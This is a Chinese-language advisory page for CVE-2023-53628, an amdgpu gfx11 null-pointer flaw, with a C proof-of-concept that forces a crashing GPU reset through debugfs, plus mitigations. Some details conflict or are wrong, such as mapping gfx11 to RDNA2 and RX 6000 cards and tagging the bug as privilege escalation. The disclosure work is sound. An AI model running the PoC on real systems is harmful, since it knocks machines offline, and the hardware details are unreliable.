IPBUF安全漏洞报告
English
CVE-2023-53628 CVSS 5.5 中危

CVE-2023-53628 Linux内核amdgpu驱动中断处理漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53628
漏洞类型
空指针解引用/中断处理缺陷
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (amdgpu驱动)

相关标签

Linux内核amdgpuAMD显卡gfx11RDNA2空指针解引用中断处理缺陷本地提权拒绝服务内核漏洞

漏洞概述

CVE-2023-53628是Linux内核中AMD amdgpu图形驱动的一个漏洞,位于gfx_v11_0_hw_fini函数中。该漏洞源于gfx_v11_0_cp_ecc_error_irq_funcs函数在gfx11架构中已被废弃(retired),但在gfx_v11_0_hw_fini函数中仍然调用amdgpu_irq_put来禁用该中断。由于中断功能函数已被移除,尝试访问已释放的函数指针会导致调用跟踪(call trace)异常,可能引发系统崩溃或不可用状态。

该漏洞的CVSS评分为5.5,属于中危级别。攻击向量为本地(AV:L),需要低权限(PR:L),无需用户交互(UI:N)。漏洞对机密性无影响(C:N),对完整性无影响(I:N),但对可用性影响较高(A:H)。这意味着本地低权限用户可以通过触发特定的GPU操作(如GPU恢复流程)来导致系统崩溃或不可用。

该漏洞主要影响使用AMD gfx11架构GPU(通常是较新的RDNA/RDNA2系列显卡)的Linux系统。当系统进行GPU恢复(gpu_recover)操作时,例如通过debugfs触发reset,会调用gfx_v11_0_hw_fini函数,进而触发该漏洞。漏洞已在多个版本的Linux内核中通过提交31b07aec4a2bdcab00770ea3a18efe49734ce153和720b47229a5b24061d1c2e29ddb6043a59178d79修复。

技术细节

该漏洞的技术原理涉及Linux内核amdgpu驱动中gfx11架构的中断处理机制。在gfx11架构中,gfx.cp_ecc_error_irq(图形命令处理器的ECC错误中断)已被废弃(retired),因此对应的中断处理函数gfx_v11_0_cp_ecc_error_irq_funcs也被移除。

然而,在gfx_v11_0_hw_fini函数中,代码仍然调用amdgpu_irq_put来尝试禁用该中断。由于中断的funcs指针已经为NULL或无效,amdgpu_irq_put在执行过程中会尝试访问这些无效的函数指针,导致空指针解引用或调用已释放的内存区域。

漏洞触发路径如下:
1. 用户通过debugfs或其他机制触发GPU reset操作(amdgpu_debugfs_reset_work)
2. 系统调用amdgpu_device_gpu_recover进行GPU恢复
3. 恢复过程中调用amdgpu_device_pre_asic_reset
4. 进而调用amdgpu_device_ip_suspend和amdgpu_device_ip_suspend_phase2
5. 最终调用gfx_v11_0_suspend和gfx_v11_0_hw_fini
6. 在hw_fini中尝试禁用已废弃的中断,触发空指针解引用

修复方案包括:删除gfx_v11_0_cp_ecc_error_irq_funcs的定义;在amdgpu_gfx_ras_late_init函数中添加对gfx11的判断;通过检查cp_ecc_error_irq.funcs是否为空来判断是否需要禁用该中断,以提供更可持续的解决方案。

攻击链分析

STEP 1
步骤1
攻击者需要具有本地系统访问权限,且拥有debugfs的写权限(通常需要root权限或amdgpu相关组权限)
STEP 2
步骤2
确认系统使用AMD gfx11架构GPU(如Radeon RX 6000系列等),该漏洞仅影响此架构
STEP 3
步骤3
通过debugfs接口(/sys/kernel/debug/dri/0/amdgpu_reset)写入触发GPU重置操作
STEP 4
步骤4
系统开始执行GPU恢复流程,依次调用amdgpu_debugfs_reset_work、amdgpu_device_gpu_recover等函数
STEP 5
步骤5
在恢复过程中调用gfx_v11_0_hw_fini函数,该函数尝试通过amdgpu_irq_put禁用已废弃的cp_ecc_error_irq中断
STEP 6
步骤6
由于中断处理函数已被移除,访问无效的函数指针导致空指针解引用,触发内核调用跟踪异常
STEP 7
步骤7
系统可能出现内核oops、panic或不稳定状态,影响系统可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53628 PoC - Trigger GPU reset via debugfs // This PoC triggers the vulnerability by initiating a GPU reset // on a system with AMD gfx11 architecture GPU (e.g., RDNA2) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // Path to amdgpu debugfs reset file #define AMDGPU_DEBUGFS_RESET "/sys/kernel/debug/dri/0/amdgpu_reset" int main(int argc, char *argv[]) { int fd; char reset_cmd[] = "1"; // Trigger GPU reset ssize_t ret; printf("CVE-2023-53628 PoC - AMDGPU gfx11 Interrupt Handling Vulnerability\n"); printf("Attempting to trigger GPU reset on gfx11 architecture...\n"); // Open the debugfs reset file fd = open(AMDGPU_DEBUGFS_RESET, O_WRONLY); if (fd < 0) { perror("[-] Failed to open amdgpu debugfs reset file"); printf("[*] Make sure you have access to debugfs and amdgpu driver is loaded\n"); printf("[*] Try: mount -t debugfs debugfs /sys/kernel/debug\n"); return 1; } printf("[*] Triggering GPU reset...\n"); // Write to trigger GPU reset ret = write(fd, reset_cmd, strlen(reset_cmd)); if (ret < 0) { perror("[-] Failed to trigger GPU reset"); close(fd); return 1; } printf("[*] GPU reset triggered. Check kernel logs for call trace:\n"); printf(" - gfx_v11_0_hw_fini+0x23/0x1e0 [amdgpu]\n"); printf(" - gfx_v11_0_suspend+0xe/0x20 [amdgpu]\n"); printf(" - amdgpu_device_ip_suspend_phase2+0x240/0x460 [amdgpu]\n"); printf(" - amdgpu_device_gpu_recover.cold+0x548/0xce6 [amdgpu]\n"); close(fd); printf("[*] If vulnerable, system may crash or show kernel oops\n"); return 0; }

影响范围

Linux Kernel < 6.6 (含amdgpu驱动的gfx11支持版本)
Linux Kernel 6.6.x (未修复版本)
Linux Kernel 6.1.x (LTS未修复版本)
Linux Kernel 5.15.x (LTS未修复版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制debugfs的访问权限,仅允许root用户或特定管理组访问amdgpu相关的debugfs文件;2)通过chmod 700 /sys/kernel/debug/dri/0/amdgpu_reset限制GPU reset操作的权限;3)监控系统中是否有异常的GPU reset请求,及时发现潜在的攻击行为;4)对于使用AMD gfx11架构GPU的系统,应优先安排内核升级计划。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表